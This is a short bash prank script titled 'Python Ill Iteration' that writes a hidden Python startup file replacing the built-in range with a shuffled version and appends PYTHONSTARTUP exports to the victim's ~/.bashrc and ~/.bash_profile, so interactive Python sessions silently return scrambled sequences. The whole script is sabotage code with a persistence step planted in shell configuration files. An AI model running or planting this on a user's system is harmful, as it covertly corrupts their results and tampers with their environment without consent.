Python Ill Iteration

#!/bin/bash
OUTFILE=~/.illiteration.py
(
cat <<'EOF'
from random import shuffle

try:
    import __builtin__ as builtins
except ImportError:
    import builtins

_range = range
def randomly(low, high=None):
    if high is None:
        high = low
        low = 0
    lst = _range(low, high)
    shuffle(lst)
    return lst

builtins.range = randomly
EOF
) > $OUTFILE
echo "export PYTHONSTARTUP=$OUTFILE" >> ~/.bashrc
echo "export PYTHONSTARTUP=$OUTFILE" >> ~/.bash_profile